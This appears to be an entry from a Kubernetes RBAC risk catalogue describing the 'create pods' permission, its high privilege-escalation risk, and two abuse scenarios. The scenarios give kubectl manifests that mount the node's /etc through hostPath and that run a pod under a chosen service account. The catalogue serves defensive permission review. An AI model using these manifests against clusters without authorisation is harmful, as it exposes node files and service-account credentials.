Overview

FieldValue
ID1007
NameCreate pods in a namespace
Risk CategoryElevation of Privilege
Risk LevelHigh
Role TypeRole
API Groupscore
Resourcespods
Verbscreate
TagsLateralMovement Persistence PotentialPrivilegeEscalation WorkloadExecution

Description

Grants permission to create new pods within a specific namespace. This can lead to privilege escalation if allowed to create pods with hostPath mounts, privileged security context, or access to sensitive service accounts within that namespace. It also enables workload execution and potential persistence.

Abuse Scenarios

  1. Create a pod with a hostPath mount to access node files within the namespace.
kubectl create -n <namespace> -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-pod
spec:
  containers:
  - name: hostpath-container
    image: busybox
    command: ["/bin/sh", "-c", "sleep infinity"]
    volumeMounts:
    - mountPath: /host-etc
      name: host-etc
  volumes:
  - name: host-etc
    hostPath:
      path: /etc
EOF
# Example: kubectl create -n development -f - <<EOF ... EOF
  1. Create a pod that uses a specific service account in the namespace.
kubectl create -n <namespace> -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: sa-test-pod
spec:
  serviceAccountName: <serviceaccount-name>
  containers:
  - name: test-container
    image: busybox
    command: ["/bin/sh", "-c", "sleep infinity"]
EOF
# Example: kubectl create -n default -f - <<EOF ... EOF (using 'default' SA)